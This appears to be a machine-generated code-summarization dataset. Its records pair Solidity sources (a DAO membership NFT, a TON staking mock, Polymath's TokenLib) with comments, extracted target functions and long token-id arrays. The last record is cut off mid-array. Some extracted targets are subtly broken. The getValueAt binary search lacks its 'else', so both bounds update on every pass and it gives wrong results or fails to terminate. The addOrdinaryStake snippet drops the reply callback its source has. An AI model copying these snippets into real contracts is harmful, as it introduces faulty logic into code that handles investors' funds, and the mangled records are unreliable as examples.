// TODO: Support for multiple URIs like ar:// or ipfs://
return
string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(bytes(_decentralizedStorage[tokenId]))
)
);
}
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Returns if a tokenId is marked as investor
*/
function isInvestor(uint256 tokenId) public view returns (bool) {
return _isInvestor[tokenId];
}
/**
* @dev Setup governor roles for the DAO
* This should be a one-time call after the DAO is created
*/
function setupGovernor(
address shareTokenAddress,
address treasuryAddress,
address governorAddress,
address shareGovernorAddress
) public onlyRole(DEFAULT_ADMIN_ROLE) {
// Bind DAO's share token
shareToken = shareTokenAddress;
// Bind DAO's Treasury contract
treasury = treasuryAddress;
// Bind DAO's 1/1 Membership Governance contract
governor = governorAddress;
// Bind DAO's share Governance
shareGovernor = shareGovernorAddress;
}
/**
* @dev Self-mint for white-listed members
*/
function mint(bytes32[] calldata proof) public {
if (balanceOf(_msgSender()) > 0) revert Errors.MembershipAlreadyClaimed();
if (
!MerkleProof.verify(
proof,
_merkleTreeRoot,
keccak256(abi.encodePacked(_msgSender()))
)
) revert Errors.InvalidProof();
// tokenId start with 0
_mint(_msgSender(), _tokenIdTracker.current());
_tokenIdTracker.increment();
}
/**
* @dev Treasury could mint for a investor by pass the allowlist check
*/
function investMint(address to)
external
onlyRole(DEFAULT_ADMIN_ROLE)
returns (uint256)
{
if (balanceOf(to) > 0) {
uint256 tokenId = tokenOfOwnerByIndex(to, 0);
_isInvestor[tokenId] = true;
emit Events.InvestorAdded(to, tokenId, block.timestamp);
return tokenId;
}
uint256 _tokenId = _tokenIdTracker.current();
_mint(to, _tokenId);
_isInvestor[_tokenId] = true;
emit Events.InvestorAdded(to, _tokenId, block.timestamp);
_tokenIdTracker.increment();
return _tokenId;
}
/**
* @dev Switch for the use of decentralized storage
*/
function updateTokenURI(uint256 tokenId, string calldata dataURI) public {
require(_exists(tokenId), Errors.ERC721METADATA_UPDATE_NONEXIST_TOKEN);
require(
ownerOf(tokenId) == _msgSender(),
Errors.ERC721METADATA_UPDATE_UNAUTH
);
_decentralizedStorage[tokenId] = dataURI;
}
/**
* @dev update allowlist by a back-end server bot
*/
function updateAllowlist(bytes32 merkleTreeRoot_) public {
if (!hasRole(INVITER_ROLE, _msgSender())) revert Errors.NotInviter();
_merkleTreeRoot = merkleTreeRoot_;
}
function pause() public {
if (!hasRole(PAUSER_ROLE, _msgSender())) revert Errors.NotPauser();
_pause();
}
function unpause() public {
if (!hasRole(PAUSER_ROLE, _msgSender())) revert Errors.NotPauser();
_unpause();
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
/// @dev Pause status won't block mint operation
if (from != address(0) && paused())
revert Errors.TokenTransferWhilePaused();
}
/**
* @dev The functions below are overrides required by Solidity.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Votes) {
super._afterTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
* @dev update allowlist by a back-end server bot/
|
function updateAllowlist(bytes32 merkleTreeRoot_) public {
if (!hasRole(INVITER_ROLE, _msgSender())) revert Errors.NotInviter();
_merkleTreeRoot = merkleTreeRoot_;
}
| 12,719,260 |
[
1,
2725,
1699,
1098,
635,
279,
1473,
17,
409,
1438,
2512,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
1089,
7009,
1098,
12,
3890,
1578,
30235,
2471,
2375,
67,
13,
1071,
288,
203,
565,
309,
16051,
5332,
2996,
12,
706,
58,
11844,
67,
16256,
16,
389,
3576,
12021,
1435,
3719,
15226,
9372,
18,
1248,
3605,
2165,
5621,
203,
203,
565,
389,
6592,
15609,
2471,
2375,
273,
30235,
2471,
2375,
67,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma ton-solidity >= 0.47.0;
pragma AbiHeader time;
pragma AbiHeader pubkey;
pragma AbiHeader expire;
//================================================================================
//
import "../interfaces/IOwnable.sol";
import "../interfaces/IParticipant.sol";
//================================================================================
//
contract FakeDepool is IOwnable, IDepool
{
//========================================
// Error codes
//uint constant ERROR_MESSAGE_SENDER_IS_NOT_ROOT = 101;
//uint constant ERROR_MESSAGE_SENDER_IS_NOT_DEPOOL = 102;
//========================================
// Variables
//address static _depoolAddress; //
//address static _rootAddress; //
//uint128 _totalInvested; //
uint128 _depoolFee = 0.5 ton;
uint128 _totalInvested;
uint32 _totalInvestors;
mapping(address => uint128) _investedAmount;
//========================================
// Modifiers
//modifier onlyRoot() { require(msg.isInternal && _rootAddress != addressZero && _rootAddress == msg.sender, ERROR_MESSAGE_SENDER_IS_NOT_ROOT ); _; }
//modifier onlyDepool() { require(msg.isInternal && _depoolAddress != addressZero && _depoolAddress == msg.sender, ERROR_MESSAGE_SENDER_IS_NOT_DEPOOL); _; }
//========================================
//
constructor(address ownerAddress) public
{
tvm.accept();
_ownerAddress = ownerAddress;
}
//========================================
//
function fakeMint() external onlyOwner
{
require(_totalInvestors > 0, 666);
tvm.accept();
// We don't care about investors' shares, we will give equal values to everyone for simplicity,
// because it doesn't matter in this case;
uint128 distributeAmount = msg.value - 1 ton;
uint128 amountPerInvestor = distributeAmount / _totalInvestors;
_totalInvested += distributeAmount;
for((address investor, ) : _investedAmount)
{
_investedAmount[investor] += amountPerInvestor;
}
uint128 percentValue = 1 ton / _totalInvestors;
for((address investor, ) : _investedAmount)
{
IParticipant(investor).onRoundComplete{value: 1, bounce: false, flag: 1}(
13, // devil's round
uint64(amountPerInvestor),
uint64(_investedAmount[investor]),
0,
0,
true,
uint8(5)
);
}
}
//========================================
//
function addOrdinaryStake(uint64 stake) external override
{
if(!_investedAmount.exists(msg.sender))
{
_totalInvestors += 1;
}
_totalInvested += stake;
_investedAmount[msg.sender] += stake;
tvm.rawReserve(_totalInvested, 0);
IParticipant(msg.sender).receiveAnswer{value: 0, bounce: false, flag: 128}(0, 0);
}
//========================================
//
function withdrawPart(uint64 withdrawValue) external override
{
_investedAmount[msg.sender] -= withdrawValue;
IParticipant(msg.sender).onRoundComplete{value: 1+withdrawValue, bounce: false, flag: 1}(
13, // devil's round
0,
uint64(_investedAmount[msg.sender]),
0,
0,
true,
uint8(5)
);
if(_investedAmount[msg.sender] == 0)
{
delete _investedAmount[msg.sender];
_totalInvestors -= 1;
}
}
}
|
========================================
|
function addOrdinaryStake(uint64 stake) external override
{
if(!_investedAmount.exists(msg.sender))
{
_totalInvestors += 1;
}
_totalInvested += stake;
_investedAmount[msg.sender] += stake;
tvm.rawReserve(_totalInvested, 0);
}
| 12,887,419 |
[
1,
4428,
1432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
15383,
2101,
510,
911,
12,
11890,
1105,
384,
911,
13,
3903,
3849,
203,
565,
288,
203,
3639,
309,
12,
5,
67,
5768,
3149,
6275,
18,
1808,
12,
3576,
18,
15330,
3719,
203,
3639,
288,
203,
5411,
389,
4963,
3605,
395,
1383,
1011,
404,
31,
203,
3639,
289,
203,
3639,
389,
4963,
3605,
3149,
1011,
384,
911,
31,
203,
3639,
389,
5768,
3149,
6275,
63,
3576,
18,
15330,
65,
1011,
384,
911,
31,
203,
203,
3639,
268,
3489,
18,
1899,
607,
6527,
24899,
4963,
3605,
3149,
16,
374,
1769,
203,
540,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.8;
import "../interfaces/IPoly.sol";
import "./StatusCodes.sol";
import "../modules/UpgradableModuleFactory.sol";
import "../interfaces/IDataStore.sol";
import "../tokens/SecurityTokenStorage.sol";
import "../interfaces/ITransferManager.sol";
import "../modules/UpgradableModuleFactory.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "../modules/PermissionManager/IPermissionManager.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
library TokenLib {
using SafeMath for uint256;
struct EIP712Domain {
string name;
uint256 chainId;
address verifyingContract;
}
struct Acknowledgment {
string text;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
bytes32 constant ACK_TYPEHASH = keccak256(
"Acknowledgment(string text)"
);
bytes32 internal constant WHITELIST = "WHITELIST";
bytes32 internal constant INVESTORSKEY = 0xdf3a8dd24acdd05addfc6aeffef7574d2de3f844535ec91e8e0f3e45dba96731; //keccak256(abi.encodePacked("INVESTORS"))
// Emit when Module get upgraded from the securityToken
event ModuleUpgraded(uint8[] _types, address _module);
// Emit when Module is archived from the SecurityToken
event ModuleArchived(uint8[] _types, address _module);
// Emit when Module is unarchived from the SecurityToken
event ModuleUnarchived(uint8[] _types, address _module);
// Emit when Module get removed from the securityToken
event ModuleRemoved(uint8[] _types, address _module);
// Emit when the budget allocated to a module is changed
event ModuleBudgetChanged(uint8[] _moduleTypes, address _module, uint256 _oldBudget, uint256 _budget);
// Emit when document is added/removed
event DocumentUpdated(bytes32 indexed _name, string _uri, bytes32 _documentHash);
event DocumentRemoved(bytes32 indexed _name, string _uri, bytes32 _documentHash);
function hash(EIP712Domain memory _eip712Domain) internal pure returns (bytes32) {
return keccak256(
abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(_eip712Domain.name)),
_eip712Domain.chainId,
_eip712Domain.verifyingContract
)
);
}
function hash(Acknowledgment memory _ack) internal pure returns (bytes32) {
return keccak256(abi.encode(ACK_TYPEHASH, keccak256(bytes(_ack.text))));
}
function recoverFreezeIssuanceAckSigner(bytes calldata _signature) external view returns (address) {
Acknowledgment memory ack = Acknowledgment("I acknowledge that freezing Issuance is a permanent and irrevocable change");
return extractSigner(ack, _signature);
}
function recoverDisableControllerAckSigner(bytes calldata _signature) external view returns (address) {
Acknowledgment memory ack = Acknowledgment("I acknowledge that disabling controller is a permanent and irrevocable change");
return extractSigner(ack, _signature);
}
function extractSigner(Acknowledgment memory _ack, bytes memory _signature) internal view returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (_signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(_signature, 0x20))
s := mload(add(_signature, 0x40))
v := byte(0, mload(add(_signature, 0x60)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
}
bytes32 DOMAIN_SEPARATOR = hash(
EIP712Domain(
{
name: "Polymath",
chainId: 1,
verifyingContract: address(this)
}
)
);
// Note: we need to use `encodePacked` here instead of `encode`.
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(_ack)
));
return ecrecover(digest, v, r, s);
}
/**
* @notice Archives a module attached to the SecurityToken
* @param _moduleData Storage data
*/
function archiveModule(SecurityTokenStorage.ModuleData storage _moduleData) external {
require(!_moduleData.isArchived, "Module archived");
require(_moduleData.module != address(0), "Module missing");
/*solium-disable-next-line security/no-block-members*/
emit ModuleArchived(_moduleData.moduleTypes, _moduleData.module);
_moduleData.isArchived = true;
}
/**
* @notice Unarchives a module attached to the SecurityToken
* @param _moduleData Storage data
*/
function unarchiveModule(IModuleRegistry _moduleRegistry, SecurityTokenStorage.ModuleData storage _moduleData) external {
require(_moduleData.isArchived, "Module unarchived");
/*solium-disable-next-line security/no-block-members*/
// Check the version is still valid - can only be false if token was upgraded between unarchive / archive
_moduleRegistry.useModule(_moduleData.moduleFactory, true);
emit ModuleUnarchived(_moduleData.moduleTypes, _moduleData.module);
_moduleData.isArchived = false;
}
/**
* @notice Upgrades a module attached to the SecurityToken
* @param _moduleData Storage data
*/
function upgradeModule(IModuleRegistry _moduleRegistry, SecurityTokenStorage.ModuleData storage _moduleData) external {
require(_moduleData.module != address(0), "Module missing");
//Check module is verified and within version bounds
_moduleRegistry.useModule(_moduleData.moduleFactory, true);
// Will revert if module isn't upgradable
UpgradableModuleFactory(_moduleData.moduleFactory).upgrade(_moduleData.module);
emit ModuleUpgraded(_moduleData.moduleTypes, _moduleData.module);
}
/**
* @notice Removes a module attached to the SecurityToken
* @param _module address of module to unarchive
*/
function removeModule(
address _module,
mapping(uint8 => address[]) storage _modules,
mapping(address => SecurityTokenStorage.ModuleData) storage _modulesToData,
mapping(bytes32 => address[]) storage _names
)
external
{
require(_modulesToData[_module].isArchived, "Not archived");
require(_modulesToData[_module].module != address(0), "Module missing");
/*solium-disable-next-line security/no-block-members*/
emit ModuleRemoved(_modulesToData[_module].moduleTypes, _module);
// Remove from module type list
uint8[] memory moduleTypes = _modulesToData[_module].moduleTypes;
for (uint256 i = 0; i < moduleTypes.length; i++) {
_removeModuleWithIndex(moduleTypes[i], _modulesToData[_module].moduleIndexes[i], _modules, _modulesToData);
/* modulesToData[_module].moduleType[moduleTypes[i]] = false; */
}
// Remove from module names list
uint256 index = _modulesToData[_module].nameIndex;
bytes32 name = _modulesToData[_module].name;
uint256 length = _names[name].length;
_names[name][index] = _names[name][length - 1];
_names[name].length = length - 1;
if ((length - 1) != index) {
_modulesToData[_names[name][index]].nameIndex = index;
}
// Remove from modulesToData
delete _modulesToData[_module];
}
/**
* @notice Internal - Removes a module attached to the SecurityToken by index
*/
function _removeModuleWithIndex(
uint8 _type,
uint256 _index,
mapping(uint8 => address[]) storage _modules,
mapping(address => SecurityTokenStorage.ModuleData) storage _modulesToData
)
internal
{
uint256 length = _modules[_type].length;
_modules[_type][_index] = _modules[_type][length - 1];
_modules[_type].length = length - 1;
if ((length - 1) != _index) {
//Need to find index of _type in moduleTypes of module we are moving
uint8[] memory newTypes = _modulesToData[_modules[_type][_index]].moduleTypes;
for (uint256 i = 0; i < newTypes.length; i++) {
if (newTypes[i] == _type) {
_modulesToData[_modules[_type][_index]].moduleIndexes[i] = _index;
}
}
}
}
/**
* @notice allows owner to increase/decrease POLY approval of one of the modules
* @param _module module address
* @param _change change in allowance
* @param _increase true if budget has to be increased, false if decrease
*/
function changeModuleBudget(
address _module,
uint256 _change,
bool _increase,
IERC20 _polyToken,
mapping(address => SecurityTokenStorage.ModuleData) storage _modulesToData
)
external
{
require(_modulesToData[_module].module != address(0), "Module missing");
uint256 currentAllowance = _polyToken.allowance(address(this), _module);
uint256 newAllowance;
if (_increase) {
require(IPoly(address(_polyToken)).increaseApproval(_module, _change), "IncreaseApproval fail");
newAllowance = currentAllowance.add(_change);
} else {
require(IPoly(address(_polyToken)).decreaseApproval(_module, _change), "Insufficient allowance");
newAllowance = currentAllowance.sub(_change);
}
emit ModuleBudgetChanged(_modulesToData[_module].moduleTypes, _module, currentAllowance, newAllowance);
}
/**
* @notice Queries a value at a defined checkpoint
* @param _checkpoints is array of Checkpoint objects
* @param _checkpointId is the Checkpoint ID to query
* @param _currentValue is the Current value of checkpoint
* @return uint256
*/
function getValueAt(SecurityTokenStorage.Checkpoint[] storage _checkpoints, uint256 _checkpointId, uint256 _currentValue) external view returns(uint256) {
//Checkpoint id 0 is when the token is first created - everyone has a zero balance
if (_checkpointId == 0) {
return 0;
}
if (_checkpoints.length == 0) {
return _currentValue;
}
if (_checkpoints[0].checkpointId >= _checkpointId) {
return _checkpoints[0].value;
}
if (_checkpoints[_checkpoints.length - 1].checkpointId < _checkpointId) {
return _currentValue;
}
if (_checkpoints[_checkpoints.length - 1].checkpointId == _checkpointId) {
return _checkpoints[_checkpoints.length - 1].value;
}
uint256 min = 0;
uint256 max = _checkpoints.length - 1;
while (max > min) {
uint256 mid = (max + min) / 2;
if (_checkpoints[mid].checkpointId == _checkpointId) {
max = mid;
break;
}
if (_checkpoints[mid].checkpointId < _checkpointId) {
min = mid + 1;
} else {
max = mid;
}
}
return _checkpoints[max].value;
}
/**
* @notice Stores the changes to the checkpoint objects
* @param _checkpoints is the affected checkpoint object array
* @param _newValue is the new value that needs to be stored
*/
function adjustCheckpoints(SecurityTokenStorage.Checkpoint[] storage _checkpoints, uint256 _newValue, uint256 _currentCheckpointId) external {
//No checkpoints set yet
if (_currentCheckpointId == 0) {
return;
}
//No new checkpoints since last update
if ((_checkpoints.length > 0) && (_checkpoints[_checkpoints.length - 1].checkpointId == _currentCheckpointId)) {
return;
}
//New checkpoint, so record balance
_checkpoints.push(SecurityTokenStorage.Checkpoint({checkpointId: _currentCheckpointId, value: _newValue}));
}
/**
* @notice Keeps track of the number of non-zero token holders
* @param _holderCount Number of current token holders
* @param _from Sender of transfer
* @param _to Receiver of transfer
* @param _value Value of transfer
* @param _balanceTo Balance of the _to address
* @param _balanceFrom Balance of the _from address
* @param _dataStore address of data store
*/
function adjustInvestorCount(
uint256 _holderCount,
address _from,
address _to,
uint256 _value,
uint256 _balanceTo,
uint256 _balanceFrom,
IDataStore _dataStore
)
external
returns(uint256)
{
uint256 holderCount = _holderCount;
if ((_value == 0) || (_from == _to)) {
return holderCount;
}
// Check whether receiver is a new token holder
if ((_balanceTo == 0) && (_to != address(0))) {
holderCount = holderCount.add(1);
if (!_isExistingInvestor(_to, _dataStore)) {
_dataStore.insertAddress(INVESTORSKEY, _to);
//KYC data can not be present if added is false and hence we can set packed KYC as uint256(1) to set added as true
_dataStore.setUint256(_getKey(WHITELIST, _to), uint256(1));
}
}
// Check whether sender is moving all of their tokens
if (_value == _balanceFrom) {
holderCount = holderCount.sub(1);
}
return holderCount;
}
/**
* @notice Used to attach a new document to the contract, or update the URI or hash of an existing attached document
* @param name Name of the document. It should be unique always
* @param uri Off-chain uri of the document from where it is accessible to investors/advisors to read.
* @param documentHash hash (of the contents) of the document.
*/
function setDocument(
mapping(bytes32 => SecurityTokenStorage.Document) storage document,
bytes32[] storage docNames,
mapping(bytes32 => uint256) storage docIndexes,
bytes32 name,
string calldata uri,
bytes32 documentHash
)
external
{
require(name != bytes32(0), "Bad name");
require(bytes(uri).length > 0, "Bad uri");
if (document[name].lastModified == uint256(0)) {
docNames.push(name);
docIndexes[name] = docNames.length;
}
document[name] = SecurityTokenStorage.Document(documentHash, now, uri);
emit DocumentUpdated(name, uri, documentHash);
}
/**
* @notice Used to remove an existing document from the contract by giving the name of the document.
* @dev Can only be executed by the owner of the contract.
* @param name Name of the document. It should be unique always
*/
function removeDocument(
mapping(bytes32 => SecurityTokenStorage.Document) storage document,
bytes32[] storage docNames,
mapping(bytes32 => uint256) storage docIndexes,
bytes32 name
)
external
{
require(document[name].lastModified != uint256(0), "Not existed");
uint256 index = docIndexes[name] - 1;
if (index != docNames.length - 1) {
docNames[index] = docNames[docNames.length - 1];
docIndexes[docNames[index]] = index + 1;
}
docNames.length--;
emit DocumentRemoved(name, document[name].uri, document[name].docHash);
delete document[name];
}
/**
* @notice Validate transfer with TransferManager module if it exists
* @dev TransferManager module has a key of 2
* @param modules Array of addresses for transfer managers
* @param modulesToData Mapping of the modules details
* @param from sender of transfer
* @param to receiver of transfer
* @param value value of transfer
* @param data data to indicate validation
* @param transfersFrozen whether the transfer are frozen or not.
* @return bool
*/
function verifyTransfer(
address[] storage modules,
mapping(address => SecurityTokenStorage.ModuleData) storage modulesToData,
address from,
address to,
uint256 value,
bytes memory data,
bool transfersFrozen
)
public //Marked public to avoid stack too deep error
view
returns(bool, bytes32)
{
if (!transfersFrozen) {
bool isInvalid = false;
bool isValid = false;
bool isForceValid = false;
// Use the local variables to avoid the stack too deep error
bytes32 appCode;
for (uint256 i = 0; i < modules.length; i++) {
if (!modulesToData[modules[i]].isArchived) {
(ITransferManager.Result valid, bytes32 reason) = ITransferManager(modules[i]).verifyTransfer(from, to, value, data);
if (valid == ITransferManager.Result.INVALID) {
isInvalid = true;
appCode = reason;
} else if (valid == ITransferManager.Result.VALID) {
isValid = true;
} else if (valid == ITransferManager.Result.FORCE_VALID) {
isForceValid = true;
}
}
}
// Use the local variables to avoid the stack too deep error
isValid = isForceValid ? true : (isInvalid ? false : isValid);
return (isValid, isValid ? bytes32(StatusCodes.code(StatusCodes.Status.TransferSuccess)): appCode);
}
return (false, bytes32(StatusCodes.code(StatusCodes.Status.TransfersHalted)));
}
function canTransfer(
bool success,
bytes32 appCode,
address to,
uint256 value,
uint256 balanceOfFrom
)
external
pure
returns (byte, bytes32)
{
if (!success)
return (StatusCodes.code(StatusCodes.Status.TransferFailure), appCode);
if (balanceOfFrom < value)
return (StatusCodes.code(StatusCodes.Status.InsufficientBalance), bytes32(0));
if (to == address(0))
return (StatusCodes.code(StatusCodes.Status.InvalidReceiver), bytes32(0));
// Balance overflow can never happen due to totalsupply being a uint256 as well
// else if (!KindMath.checkAdd(balanceOf(_to), _value))
// return (0x50, bytes32(0));
return (StatusCodes.code(StatusCodes.Status.TransferSuccess), bytes32(0));
}
function _getKey(bytes32 _key1, address _key2) internal pure returns(bytes32) {
return bytes32(keccak256(abi.encodePacked(_key1, _key2)));
}
function _isExistingInvestor(address _investor, IDataStore dataStore) internal view returns(bool) {
uint256 data = dataStore.getUint256(_getKey(WHITELIST, _investor));
//extracts `added` from packed `whitelistData`
return uint8(data) == 0 ? false : true;
}
}
|
* @notice Queries a value at a defined checkpoint @param _checkpoints is array of Checkpoint objects @param _checkpointId is the Checkpoint ID to query @param _currentValue is the Current value of checkpoint @return uint256/Checkpoint id 0 is when the token is first created - everyone has a zero balance
|
function getValueAt(SecurityTokenStorage.Checkpoint[] storage _checkpoints, uint256 _checkpointId, uint256 _currentValue) external view returns(uint256) {
if (_checkpointId == 0) {
return 0;
}
if (_checkpoints.length == 0) {
return _currentValue;
}
if (_checkpoints[0].checkpointId >= _checkpointId) {
return _checkpoints[0].value;
}
if (_checkpoints[_checkpoints.length - 1].checkpointId < _checkpointId) {
return _currentValue;
}
if (_checkpoints[_checkpoints.length - 1].checkpointId == _checkpointId) {
return _checkpoints[_checkpoints.length - 1].value;
}
uint256 min = 0;
uint256 max = _checkpoints.length - 1;
while (max > min) {
uint256 mid = (max + min) / 2;
if (_checkpoints[mid].checkpointId == _checkpointId) {
max = mid;
break;
}
if (_checkpoints[mid].checkpointId < _checkpointId) {
min = mid + 1;
max = mid;
}
}
return _checkpoints[max].value;
}
| 14,036,072 |
[
1,
9592,
279,
460,
622,
279,
2553,
9776,
225,
389,
1893,
4139,
353,
526,
434,
25569,
2184,
225,
389,
25414,
548,
353,
326,
25569,
1599,
358,
843,
225,
389,
2972,
620,
353,
326,
6562,
460,
434,
9776,
327,
2254,
5034,
19,
14431,
612,
374,
353,
1347,
326,
1147,
353,
1122,
2522,
300,
3614,
476,
711,
279,
3634,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
